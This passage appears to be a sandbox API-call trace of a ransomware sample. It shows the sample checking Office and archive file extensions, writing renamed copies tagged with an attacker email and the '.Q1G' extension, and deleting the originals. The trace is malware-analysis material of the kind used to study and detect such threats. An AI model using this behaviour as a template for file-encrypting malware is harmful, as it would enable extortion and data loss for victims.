liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.149] SetEndOfFile (hFile=0x168) returned 1 [0057.150] CloseHandle (hObject=0x168) returned 1 [0057.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0057.150] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 1 [0057.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0057.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0057.150] lstrlenW (lpString=".doc") returned 4 [0057.150] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.150] lstrlenW (lpString=".docx") returned 5 [0057.150] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.150] lstrlenW (lpString=".pdf") returned 4 [0057.150] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.150] lstrlenW (lpString=".xls") returned 4 [0057.150] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.150] lstrlenW (lpString=".xlsx") returned 5 [0057.150] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.150] lstrlenW (lpString=".ppt") returned 4 [0057.150] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0057.150] lstrlenW (lpString=".zip") returned 4 [0057.150] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.150] lstrlenW (lpString=".rar") returned 4 [0057.151] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.151] lstrlenW (lpString=".bz2") returned 4 [0057.151] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.151] lstrlenW (lpString=".7z") returned 3 [0057.151] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0057.151] lstrlenW (lpString=".dbf") returned 4 [0057.151] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0057.151] lstrlenW (lpString=".1cd") returned 4 [0057.151] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0057.151] lstrlenW (lpString=".jpg") returned 4 [0057.151] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0057.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0057.151] lstrlenW (lpString=".doc") returned 4 [0057.151] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.151] lstrlenW (lpString=".docx") returned 5 [0057.151] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.151] lstrlenW (lpString=".pdf") returned 4 [0057.151] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.151] lstrlenW (lpString=".xls") returned 4 [0057.151] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.151] lstrlenW (lpString=".xlsx") returned 5 [0057.151] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.151] lstrlenW (lpString=".ppt") returned 4 [0057.151] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0057.151] lstrlenW (lpString=".zip") returned 4 [0057.151] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.151] lstrlenW (lpString=".rar") returned 4 [0057.151] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.151] lstrlenW (lpString=".bz2") returned 4 [0057.152] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.152] lstrlenW (lpString=".7z") returned 3 [0057.152] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0057.152] lstrlenW (lpString=".dbf") returned 4 [0057.152] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0057.152] lstrlenW (lpString=".1cd") returned 4 [0057.152] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0057.152] lstrlenW (lpString=".jpg") returned 4 [0057.152] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.152] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0057.152] lstrlenW (lpString="AN04323_.WMF") returned 12 [0057.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0057.164] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=2492) returned 1 [0057.171] CloseHandle (hObject=0x234) returned 1 [0057.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 0x20 [0057.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0057.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0057.189] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.189] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0057.189] GetLastError () returned 0x0 [0057.189] ReadFile (in: hFile=0x234, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x9bc, lpOverlapped=0x0) returned 1 [0057.191] WriteFile (in: hFile=0x168, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0057.193] ReadFile (in: hFile=0x234, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.193] WriteFile (in: hFile=0x168, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.193] SetEndOfFile (hFile=0x168) returned 1 [0057.193] CloseHandle (hObject=0x168) returned 1 [0057.193] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.193] SetEndOfFile (hFile=0x234) returned 1 [0057.194] CloseHandle (hObject=0x234) returned 1 [0057.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0057.194] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 1 [0057.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0057.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0057.194] lstrlenW (lpString=".doc") returned 4 [0057.194] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.194] lstrlenW (lpString=".docx") returned 5 [0057.194] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.194] lstrlenW (lpString=".pdf") returned 4 [0057.194] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.194] lstrlenW (lpString=".xls") returned 4 [0057.194] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.194] lstrlenW (lpString=".xlsx") returned 5 [0057.194] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.194] lstrlenW (lpString=".ppt") returned 4 [0057.194] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0057.195] lstrlenW (lpString=".zip") returned 4 [0057.195] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.195] lstrlenW (lpString=".rar") returned 4 [0057.195] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.195] lstrlenW (lpString=".bz2") returned 4 [0057.195] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.195] lstrlenW (lpString=".7z") returned 3 [0057.195] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0057.195] lstrlenW (lpString=".dbf") returned 4 [0057.195] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0057.195] lstrlenW (lpString=".1cd") returned 4 [0057.195] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0057.195] lstrlenW (lpString=".jpg") returned 4 [0057.195] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0057.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0057.195] lstrlenW (lpString=".doc") returned 4 [0057.195] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.195] lstrlenW (lpString=".docx") returned 5 [0057.195] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.195] lstrlenW (lpString=".pdf") returned 4 [0057.195] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.195] lstrlenW (lpString=".xls") returned 4 [0057.195] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.195] lstrlenW (lpString=".xlsx") returned 5 [0057.195] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.195] lstrlenW (lpString=".ppt") returned 4 [0057.195] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0057.195] lstrlenW (lpString=".zip") returned 4 [0057.195] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.195] lstrlenW (lpString=".rar") returned 4 [0057.196] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.196] lstrlenW (lpString=".bz2") returned 4 [0057.196] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.196] lstrlenW (lpString=".7z") returned 3 [0057.196] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0057.196] lstrlenW (lpString=".dbf") returned 4 [0057.196] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0057.196] lstrlenW (lpString=".1cd") returned 4 [0057.196] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0057.196] lstrlenW (lpString=".jpg") returned 4 [0057.196] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.196] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0057.196] lstrlenW (lpString="AN04385_.WMF") returned 12 [0057.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0057.196] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=5004) returned 1 [0057.196] CloseHandle (hObject=0x234) returned 1 [0057.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 0x20 [0057.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0057.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0057.197] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.197] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0057.197] GetLastError () returned 0x0 [0057.197] ReadFile (in: hFile=0x234, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x138c, lpOverlapped=0x0) returned 1 [0057.354] WriteFile (in: hFile=0x168, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x1390, lpOverlapped=0x0) returned 1 [0057.356] ReadFile (in: hFile=0x234, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.356] WriteFile (in: hFile=0x168, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.357] SetEndOfFile (hFile=0x168) returned 1 [0057.774] CloseHandle (hObject=0x168) returned 1 [0057.774] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.774] SetEndOfFile (hFile=0x234) returned 1 [0057.775] CloseHandle (hObject=0x234) returned 1 [0057.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0057.775] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 1 [0058.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0058.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0058.286] lstrlenW (lpString=".doc") returned 4 [0058.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.286] lstrlenW (lpString=".docx") returned 5 [0058.286] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.286] lstrlenW (lpString=".pdf") returned 4 [0058.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.286] lstrlenW (lpString=".xls") returned 4 [0058.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.286] lstrlenW (lpString=".xlsx") returned 5 [0058.286] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.286] lstrlenW (lpString=".ppt") returned 4 [0058.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0058.286] lstrlenW (lpString=".zip") returned 4 [0058.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.286] lstrlenW (lpString=".rar") returned 4 [0058.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.286] lstrlenW (lpString=".bz2") returned 4 [0058.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.287] lstrlenW (lpString=".7z") returned 3 [0058.287] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0058.287] lstrlenW (lpString=".dbf") returned 4 [0058.287] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0058.287] lstrlenW (lpString=".1cd") returned 4 [0058.287] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0058.287] lstrlenW (lpString=".jpg") returned 4 [0058.287] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0058.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0058.287] lstrlenW (lpString=".doc") returned 4 [0058.287] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.287] lstrlenW (lpString=".docx") returned 5 [0058.287] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.287] lstrlenW (lpString=".pdf") returned 4 [0058.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.287] lstrlenW (lpString=".xls") returned 4 [0058.287] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.287] lstrlenW (lpString=".xlsx") returned 5 [0058.287] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.287] lstrlenW (lpString=".ppt") returned 4 [0058.287] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0058.287] lstrlenW (lpString=".zip") returned 4 [0058.287] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.287] lstrlenW (lpString=".rar") returned 4 [0058.287] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.287] lstrlenW (lpString=".bz2") returned 4 [0058.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.287] lstrlenW (lpString=".7z") returned 3 [0058.287] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0058.288] lstrlenW (lpString=".dbf") returned 4 [0058.288] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0058.288] lstrlenW (lpString=".1cd") returned 4 [0058.288] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0058.288] lstrlenW (lpString=".jpg") returned 4 [0058.288] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.403] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0058.403] lstrlenW (lpString="BD00155_.WMF") returned 12 [0058.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 10 os_tid = 0x9b4 [0034.383] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x5b0688 [0034.383] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x5c0690 [0034.384] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b00f8 [0034.384] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x54a398 [0034.384] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b00c8 [0034.384] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x3290020 [0034.384] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b0110 [0034.384] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b0110, Size=0x20) returned 0x566728 [0034.384] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b0110 [0034.384] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b0110, Size=0x20) returned 0x566700 [0034.384] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0034.384] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0034.384] Wow64DisableWow64FsRedirection (in: OldValue=0x2b3ff58 | out: OldValue=0x2b3ff58*=0x0) returned 1 [0034.384] lstrlenW (lpString="kernel32.dll") returned 12 [0034.384] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x566728 | out: hHeap=0x510000) returned 1 [0034.384] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0034.385] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x566700 | out: hHeap=0x510000) returned 1 [0034.385] Sleep (dwMilliseconds=0x64) [0034.618] Sleep (dwMilliseconds=0x64) [0035.329] Sleep (dwMilliseconds=0x64) [0035.543] Sleep (dwMilliseconds=0x64) [0035.823] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0035.823] lstrlenW (lpString="Setup.xml") returned 9 [0035.823] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0036.488] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=2296) returned 1 [0036.488] CloseHandle (hObject=0x1a0) returned 1 [0036.488] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0036.488] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.488] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0036.488] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.488] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.488] CreateFileW (lpFileName="C:\\MSOCache\\All 